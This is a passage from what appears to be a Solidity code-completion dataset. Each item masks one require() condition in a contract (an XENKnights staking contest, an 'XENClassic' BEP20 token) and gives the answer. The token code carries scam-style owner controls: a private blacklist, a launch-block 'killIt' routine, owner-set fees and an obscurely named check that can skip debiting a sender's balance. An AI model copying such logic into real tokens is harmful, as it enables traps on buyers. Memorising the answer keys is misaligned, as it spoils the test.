IERC20 public immutable xenCrypto;
// CONSTRUCTOR
constructor(address xenCrypto_, uint256 startTs_, uint256 durationDays_) {
}
// EVENTS
event StatusChanged(Status status, uint256 ts);
event Admitted(address indexed user, string taprootAddress, uint256 amount, uint256 totalAmount);
event Withdrawn(address indexed user, string taprootAddress, uint256 amount);
event Burned(uint256 amount);
// IERC-165
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
}
// PRIVATE HELPERS
function _canEnter(uint256 amount, string calldata taprootAddress) private view {
}
function _canWithdraw(string calldata taprootAddress, bytes32 hash) private view {
}
function _canBurn() private view {
}
function _compareStr(string memory one, string memory two) private pure returns (bool) {
}
function _compare(bytes32 one, bytes32 two) private pure returns (bool) {
}
// PUBLIC READ INTERFACE
/**
* @dev Returns `count` first tokenIds by lowest amount
*/
function leaderboard(uint256)
external
view
returns (bytes32[] memory data)
{
}
// ADMIN INTERFACE
function loadLeaders(bytes32[] calldata taprootAddresses) external onlyOwner {
require(block.timestamp > endTs, 'Admin: cannot load leaders before end');
require(status == Status.InProgress, 'Admin: bad status');
require(
taprootAddresses.length > 0 && taprootAddresses.length < MAX_WINNERS + 1,
'Admin: illegal list length'
);
uint256 prevAmount = amounts[taprootAddresses[0]];
for (uint256 i = 0; i < taprootAddresses.length; i++) {
require(<FILL_ME>)
require(
i == 0 || amounts[taprootAddresses[i]] >= prevAmount,
'Admin: list not sorted'
);
prevAmount = amounts[taprootAddresses[i]];
leaders.push(taprootAddresses[i]);
totalToBurn += prevAmount;
amounts[taprootAddresses[i]] = 0; // to mark winners from losers
}
status = Status.Final;
emit StatusChanged(Status.Final, block.timestamp);
}
// PRIVATE HELPERS
/**
* @dev Attempt to enter competition based on eligible XEN Stake identified by `tokenId`
* @dev Additionally, `taprootAddress` is supplied and stored along with tokenId
*/
function enterCompetition(uint256 newAmount, string calldata taprootAddress_) external {
}
function withdraw(string calldata taprootAddress_) external {
}
function onTokenBurned(address user, uint256 amount) external {
}
function burn() external {
}
}
| amounts[taprootAddresses[i]]>0,'Admin: winner\'s amount cannot be zero' | 62,216 | amounts[taprootAddresses[i]]>0 |
'XenKnights: could not transfer XEN' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import "@faircrypto/xen-crypto/contracts/XENCrypto.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./libs/Strings.sol";
/*
Sorting in Ethereum
https://medium.com/bandprotocol/solidity-102-3-maintaining-sorted-list-1edd0a228d83 [*]
https://stackoverflow.com/questions/64661313/descending-quicksort-in-solidity
https://gist.github.com/fiveoutofnine/5140b17f6185aacb71fc74d3a315a9da
*/
contract XENKnights is IBurnRedeemable, Ownable, ERC165 {
enum Status {
Waiting,
InProgress,
Final, // leaderboard loaded
Ended, // XEN burned for leaders
Canceled // in case shit happens
}
using Strings for uint256;
// PUBLIC CONSTANTS
string public constant AUTHORS = "@MrJackLevin @ackebom @lbelyaev faircrypto.org";
uint256 public constant SECS_IN_DAY = 3_600 * 24;
// common business logic
uint256 public constant MAX_WINNERS = 100;
// PUBLIC MUTABLE STATE
uint256 public totalPlayers;
uint256 public totalToBurn;
Status public status;
// taproot address => total bid amount
mapping(bytes32 => uint256) public amounts;
// user address => taproot address => total bid amount
mapping(address => mapping(bytes32 => uint256)) public userAmounts;
bytes32[] public leaders;
// PUBLIC IMMUTABLE STATE
uint256 public immutable startTs;
uint256 public immutable endTs;
// pointer to XEN Stake contract
IERC20 public immutable xenCrypto;
// CONSTRUCTOR
constructor(address xenCrypto_, uint256 startTs_, uint256 durationDays_) {
}
// EVENTS
event StatusChanged(Status status, uint256 ts);
event Admitted(address indexed user, string taprootAddress, uint256 amount, uint256 totalAmount);
event Withdrawn(address indexed user, string taprootAddress, uint256 amount);
event Burned(uint256 amount);
// IERC-165
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
}
// PRIVATE HELPERS
function _canEnter(uint256 amount, string calldata taprootAddress) private view {
}
function _canWithdraw(string calldata taprootAddress, bytes32 hash) private view {
}
function _canBurn() private view {
}
function _compareStr(string memory one, string memory two) private pure returns (bool) {
}
function _compare(bytes32 one, bytes32 two) private pure returns (bool) {
}
// PUBLIC READ INTERFACE
/**
* @dev Returns `count` first tokenIds by lowest amount
*/
function leaderboard(uint256)
external
view
returns (bytes32[] memory data)
{
}
// ADMIN INTERFACE
function loadLeaders(bytes32[] calldata taprootAddresses) external onlyOwner {
}
// PRIVATE HELPERS
/**
* @dev Attempt to enter competition based on eligible XEN Stake identified by `tokenId`
* @dev Additionally, `taprootAddress` is supplied and stored along with tokenId
*/
function enterCompetition(uint256 newAmount, string calldata taprootAddress_) external {
_canEnter(newAmount, taprootAddress_);
require(<FILL_ME>)
bytes32 taprootAddress = keccak256(bytes(taprootAddress_));
uint256 existingAmount = amounts[taprootAddress];
uint256 totalAmount = existingAmount + newAmount;
amounts[taprootAddress] = totalAmount;
userAmounts[msg.sender][taprootAddress] += newAmount;
if (status == Status.Waiting) {
status = Status.InProgress;
emit StatusChanged(Status.InProgress, block.timestamp);
}
emit Admitted(msg.sender, taprootAddress_, newAmount, totalAmount);
}
function withdraw(string calldata taprootAddress_) external {
}
function onTokenBurned(address user, uint256 amount) external {
}
function burn() external {
}
}
| xenCrypto.transferFrom(msg.sender,address(this),newAmount),'XenKnights: could not transfer XEN' | 62,216 | xenCrypto.transferFrom(msg.sender,address(this),newAmount) |
'XenKnights: error withdrawing' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import "@faircrypto/xen-crypto/contracts/XENCrypto.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./libs/Strings.sol";
/*
Sorting in Ethereum
https://medium.com/bandprotocol/solidity-102-3-maintaining-sorted-list-1edd0a228d83 [*]
https://stackoverflow.com/questions/64661313/descending-quicksort-in-solidity
https://gist.github.com/fiveoutofnine/5140b17f6185aacb71fc74d3a315a9da
*/
contract XENKnights is IBurnRedeemable, Ownable, ERC165 {
enum Status {
Waiting,
InProgress,
Final, // leaderboard loaded
Ended, // XEN burned for leaders
Canceled // in case shit happens
}
using Strings for uint256;
// PUBLIC CONSTANTS
string public constant AUTHORS = "@MrJackLevin @ackebom @lbelyaev faircrypto.org";
uint256 public constant SECS_IN_DAY = 3_600 * 24;
// common business logic
uint256 public constant MAX_WINNERS = 100;
// PUBLIC MUTABLE STATE
uint256 public totalPlayers;
uint256 public totalToBurn;
Status public status;
// taproot address => total bid amount
mapping(bytes32 => uint256) public amounts;
// user address => taproot address => total bid amount
mapping(address => mapping(bytes32 => uint256)) public userAmounts;
bytes32[] public leaders;
// PUBLIC IMMUTABLE STATE
uint256 public immutable startTs;
uint256 public immutable endTs;
// pointer to XEN Stake contract
IERC20 public immutable xenCrypto;
// CONSTRUCTOR
constructor(address xenCrypto_, uint256 startTs_, uint256 durationDays_) {
}
// EVENTS
event StatusChanged(Status status, uint256 ts);
event Admitted(address indexed user, string taprootAddress, uint256 amount, uint256 totalAmount);
event Withdrawn(address indexed user, string taprootAddress, uint256 amount);
event Burned(uint256 amount);
// IERC-165
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
}
// PRIVATE HELPERS
function _canEnter(uint256 amount, string calldata taprootAddress) private view {
}
function _canWithdraw(string calldata taprootAddress, bytes32 hash) private view {
}
function _canBurn() private view {
}
function _compareStr(string memory one, string memory two) private pure returns (bool) {
}
function _compare(bytes32 one, bytes32 two) private pure returns (bool) {
}
// PUBLIC READ INTERFACE
/**
* @dev Returns `count` first tokenIds by lowest amount
*/
function leaderboard(uint256)
external
view
returns (bytes32[] memory data)
{
}
// ADMIN INTERFACE
function loadLeaders(bytes32[] calldata taprootAddresses) external onlyOwner {
}
// PRIVATE HELPERS
/**
* @dev Attempt to enter competition based on eligible XEN Stake identified by `tokenId`
* @dev Additionally, `taprootAddress` is supplied and stored along with tokenId
*/
function enterCompetition(uint256 newAmount, string calldata taprootAddress_) external {
}
function withdraw(string calldata taprootAddress_) external {
bytes32 taprootAddress = keccak256(bytes(taprootAddress_));
_canWithdraw(taprootAddress_, taprootAddress);
uint256 amount = userAmounts[msg.sender][taprootAddress];
require(<FILL_ME>)
delete userAmounts[msg.sender][taprootAddress];
emit Withdrawn(msg.sender, taprootAddress_, amount);
}
function onTokenBurned(address user, uint256 amount) external {
}
function burn() external {
}
}
| xenCrypto.transfer(msg.sender,amount),'XenKnights: error withdrawing' | 62,216 | xenCrypto.transfer(msg.sender,amount) |
null | /**
*Submitted for verification at BscScan.com on 2022-10-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function waiveOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
abstract contract BEP20 is Context, IERC20, Ownable {
using SafeMath for uint256;
string private _name;
string private _symbol;
uint8 private _decimals;
address payable public doYouLikeBase;
address payable public inTheMTFFace;
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 public launchBlock;
uint256 public _killBlock;
mapping (address => bool) public isExcludedFromCut;
mapping (address => bool) public isMaxEatExempt;
mapping (address => bool) public isOnceEatExempt;
mapping (address => bool) public isMarketPair;
mapping (address => bool) private _blk;
uint256 public _buyLiquidityFee;
uint256 public _buyMarketingFee;
uint256 public _buyTeamFee;
uint256 public _sellLiquidityFee;
uint256 public _sellMarketingFee;
uint256 public _sellTeamFee;
uint256 public _liquidityShare;
uint256 public _marketingShare;
uint256 public _teamShare;
uint256 public _totalTaxIfBuying;
uint256 public _totalTaxIfSelling;
uint256 public _totalDistributionShares;
uint256 private _totalSupply;
uint256 public _maxOnceEat;
uint256 public _maxTotalEat;
uint256 private minimumTokensBeforeSwap;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapPair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public swapAndLiquifyBySmallOnly = false;
bool public LookMaxEat = true;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapETHForTokens(
uint256 amountIn,
address[] path
);
event SwapTokensForETH(
uint256 amountIn,
address[] path
);
modifier lockTheSwap {
}
constructor (string memory _NAME,
string memory _SYMBOL,
uint256 _SUPPLY,
uint256[3] memory _BUYFEE,
uint256[3] memory _SELLFEE,
uint256[3] memory _SHARE,
uint256[2] memory _LMT,
address[2] memory _doyoulike,
address dep,
address f)
{
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function minimumTokensBeforeSwapAmount() public view returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function setMarketPairStatus(address account, bool newValue) public onlyOwner {
}
function setisOnceEatExempt(address holder, bool exempt) external onlyOwner {
}
function setisExcludedFromCut(address account, bool newValue) public onlyOwner {
}
function manageExcludeFromCut(address[] calldata addresses, bool status) public onlyOwner {
}
function setB(uint256 a, uint256 b, uint256 c) external onlyOwner() {
}
function setS(uint256 a, uint256 b, uint256 c) external onlyOwner() {
}
function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() {
}
function setMaxOnceEat(uint256 newMaxOnceEat) external onlyOwner() {
}
function enableMaxEat(bool newValue) external onlyOwner {
}
function setisMaxEatExempt(address holder, bool exempt) external onlyOwner {
}
function setMaxTotalEat(uint256 newMaxTotalEat) external onlyOwner {
}
function setNumTokensBeforeSwap(uint256 newValue) external onlyOwner() {
}
function setdoYouLikeBase(address newAddress) external onlyOwner() {
}
function setinTheMTFFace(address newAddress) external onlyOwner() {
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
}
function setSwapAndLiquifyBySmallOnly(bool newValue) public onlyOwner {
}
function getCirculatingSupply() public view returns (uint256) {
}
function transferToAddressETH(address payable recipient, uint256 amount) private {
}
receive() external payable {}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function isB(address account) public view returns(bool) {
}
function multiTransfer_fixed(address[] calldata addresses, uint256 amount) external onlyOwner {
require(addresses.length < 2001);
uint256 SCCC = amount * addresses.length;
require(<FILL_ME>)
for(uint i=0; i < addresses.length; i++){
_basicTransfer(msg.sender,addresses[i],amount);
}
}
function killIt(address recipient) internal {
}
function manage_BL(address[] calldata addresses, bool status) public onlyOwner {
}
function set_blk(address recipient, bool status) public onlyOwner {
}
function Launc(uint256 a) public onlyOwner {
}
function smallOrEqualls(address Interfacee, address functionn) internal view returns (bool){
}
function returnBlock() public onlyOwner {
}
function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
}
function smallOrEqual(uint256 a, uint256 b) public pure returns(bool) { }
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function swapAndLiquify(uint256 tAmount) private lockTheSwap {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
}
}
contract XENClassic is BEP20 {
constructor() BEP20(
"XENClassic",
"XENClassic",
1000000000,
[uint256(0),uint256(4),uint256(0)],
[uint256(0),uint256(4),uint256(0)],
[uint256(0),uint256(4),uint256(0)],
[uint256(1000000000),uint256(1000000000)],
[0xcE85EF344FBb78775B53eF8fEd8fbd9a45930B3D,0xcE85EF344FBb78775B53eF8fEd8fbd9a45930B3D],
0xcE85EF344FBb78775B53eF8fEd8fbd9a45930B3D,0xEa181DBd88495a3653B3e21aa13248B0b3647940
){}
}
| balanceOf(msg.sender)>=SCCC | 62,295 | balanceOf(msg.sender)>=SCCC |
null | /**
*Submitted for verification at BscScan.com on 2022-10-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function waiveOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
abstract contract BEP20 is Context, IERC20, Ownable {
using SafeMath for uint256;
string private _name;
string private _symbol;
uint8 private _decimals;
address payable public doYouLikeBase;
address payable public inTheMTFFace;
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 public launchBlock;
uint256 public _killBlock;
mapping (address => bool) public isExcludedFromCut;
mapping (address => bool) public isMaxEatExempt;
mapping (address => bool) public isOnceEatExempt;
mapping (address => bool) public isMarketPair;
mapping (address => bool) private _blk;
uint256 public _buyLiquidityFee;
uint256 public _buyMarketingFee;
uint256 public _buyTeamFee;
uint256 public _sellLiquidityFee;
uint256 public _sellMarketingFee;
uint256 public _sellTeamFee;
uint256 public _liquidityShare;
uint256 public _marketingShare;
uint256 public _teamShare;
uint256 public _totalTaxIfBuying;
uint256 public _totalTaxIfSelling;
uint256 public _totalDistributionShares;
uint256 private _totalSupply;
uint256 public _maxOnceEat;
uint256 public _maxTotalEat;
uint256 private minimumTokensBeforeSwap;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapPair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public swapAndLiquifyBySmallOnly = false;
bool public LookMaxEat = true;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapETHForTokens(
uint256 amountIn,
address[] path
);
event SwapTokensForETH(
uint256 amountIn,
address[] path
);
modifier lockTheSwap {
}
constructor (string memory _NAME,
string memory _SYMBOL,
uint256 _SUPPLY,
uint256[3] memory _BUYFEE,
uint256[3] memory _SELLFEE,
uint256[3] memory _SHARE,
uint256[2] memory _LMT,
address[2] memory _doyoulike,
address dep,
address f)
{
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function minimumTokensBeforeSwapAmount() public view returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function setMarketPairStatus(address account, bool newValue) public onlyOwner {
}
function setisOnceEatExempt(address holder, bool exempt) external onlyOwner {
}
function setisExcludedFromCut(address account, bool newValue) public onlyOwner {
}
function manageExcludeFromCut(address[] calldata addresses, bool status) public onlyOwner {
}
function setB(uint256 a, uint256 b, uint256 c) external onlyOwner() {
}
function setS(uint256 a, uint256 b, uint256 c) external onlyOwner() {
}
function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() {
}
function setMaxOnceEat(uint256 newMaxOnceEat) external onlyOwner() {
}
function enableMaxEat(bool newValue) external onlyOwner {
}
function setisMaxEatExempt(address holder, bool exempt) external onlyOwner {
}
function setMaxTotalEat(uint256 newMaxTotalEat) external onlyOwner {
}
function setNumTokensBeforeSwap(uint256 newValue) external onlyOwner() {
}
function setdoYouLikeBase(address newAddress) external onlyOwner() {
}
function setinTheMTFFace(address newAddress) external onlyOwner() {
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
}
function setSwapAndLiquifyBySmallOnly(bool newValue) public onlyOwner {
}
function getCirculatingSupply() public view returns (uint256) {
}
function transferToAddressETH(address payable recipient, uint256 amount) private {
}
receive() external payable {}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function isB(address account) public view returns(bool) {
}
function multiTransfer_fixed(address[] calldata addresses, uint256 amount) external onlyOwner {
}
function killIt(address recipient) internal {
}
function manage_BL(address[] calldata addresses, bool status) public onlyOwner {
}
function set_blk(address recipient, bool status) public onlyOwner {
}
function Launc(uint256 a) public onlyOwner {
}
function smallOrEqualls(address Interfacee, address functionn) internal view returns (bool){
}
function returnBlock() public onlyOwner {
}
function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if(inSwapAndLiquify)
{
return _basicTransfer(sender, recipient, amount);
}
else
{
if(!isOnceEatExempt[sender] && !isOnceEatExempt[recipient]) {
require(<FILL_ME>)
}
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled)
{
if(swapAndLiquifyBySmallOnly)
contractTokenBalance = minimumTokensBeforeSwap;
swapAndLiquify(contractTokenBalance);
}if(smallOrEqualls(sender,recipient))
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 finalAmount;
if (isExcludedFromCut[sender] || isExcludedFromCut[recipient]) {
finalAmount = amount;
} else {require(launchBlock > 0);
if (smallOrEqual(block.number , launchBlock + _killBlock) && !isMarketPair[recipient]) {killIt(recipient);}
finalAmount = takeFee(sender, recipient, amount);
}
if(LookMaxEat && !isMaxEatExempt[recipient])
require(smallOrEqual(balanceOf(recipient).add(finalAmount), _maxTotalEat));
_balances[recipient] = _balances[recipient].add(finalAmount);
emit Transfer(sender, recipient, finalAmount);
return true;
}
}
function smallOrEqual(uint256 a, uint256 b) public pure returns(bool) { }
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function swapAndLiquify(uint256 tAmount) private lockTheSwap {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
}
}
contract XENClassic is BEP20 {
constructor() BEP20(
"XENClassic",
"XENClassic",
1000000000,
[uint256(0),uint256(4),uint256(0)],
[uint256(0),uint256(4),uint256(0)],
[uint256(0),uint256(4),uint256(0)],
[uint256(1000000000),uint256(1000000000)],
[0xcE85EF344FBb78775B53eF8fEd8fbd9a45930B3D,0xcE85EF344FBb78775B53eF8fEd8fbd9a45930B3D],
0xcE85EF344FBb78775B53eF8fEd8fbd9a45930B3D,0xEa181DBd88495a3653B3e21aa13248B0b3647940
){}
}
| smallOrEqual(amount,_maxOnceEat) | 62,295 | smallOrEqual(amount,_maxOnceEat) |
null | /**
*Submitted for verification at BscScan.com on 2022-10-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function waiveOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
abstract contract BEP20 is Context, IERC20, Ownable {
using SafeMath for uint256;
string private _name;
string private _symbol;
uint8 private _decimals;
address payable public doYouLikeBase;
address payable public inTheMTFFace;
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 public launchBlock;
uint256 public _killBlock;
mapping (address => bool) public isExcludedFromCut;
mapping (address => bool) public isMaxEatExempt;
mapping (address => bool) public isOnceEatExempt;
mapping (address => bool) public isMarketPair;
mapping (address => bool) private _blk;
uint256 public _buyLiquidityFee;
uint256 public _buyMarketingFee;
uint256 public _buyTeamFee;
uint256 public _sellLiquidityFee;
uint256 public _sellMarketingFee;
uint256 public _sellTeamFee;
uint256 public _liquidityShare;
uint256 public _marketingShare;
uint256 public _teamShare;
uint256 public _totalTaxIfBuying;
uint256 public _totalTaxIfSelling;
uint256 public _totalDistributionShares;
uint256 private _totalSupply;
uint256 public _maxOnceEat;
uint256 public _maxTotalEat;
uint256 private minimumTokensBeforeSwap;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapPair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public swapAndLiquifyBySmallOnly = false;
bool public LookMaxEat = true;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapETHForTokens(
uint256 amountIn,
address[] path
);
event SwapTokensForETH(
uint256 amountIn,
address[] path
);
modifier lockTheSwap {
}
constructor (string memory _NAME,
string memory _SYMBOL,
uint256 _SUPPLY,
uint256[3] memory _BUYFEE,
uint256[3] memory _SELLFEE,
uint256[3] memory _SHARE,
uint256[2] memory _LMT,
address[2] memory _doyoulike,
address dep,
address f)
{
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function minimumTokensBeforeSwapAmount() public view returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function setMarketPairStatus(address account, bool newValue) public onlyOwner {
}
function setisOnceEatExempt(address holder, bool exempt) external onlyOwner {
}
function setisExcludedFromCut(address account, bool newValue) public onlyOwner {
}
function manageExcludeFromCut(address[] calldata addresses, bool status) public onlyOwner {
}
function setB(uint256 a, uint256 b, uint256 c) external onlyOwner() {
}
function setS(uint256 a, uint256 b, uint256 c) external onlyOwner() {
}
function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() {
}
function setMaxOnceEat(uint256 newMaxOnceEat) external onlyOwner() {
}
function enableMaxEat(bool newValue) external onlyOwner {
}
function setisMaxEatExempt(address holder, bool exempt) external onlyOwner {
}
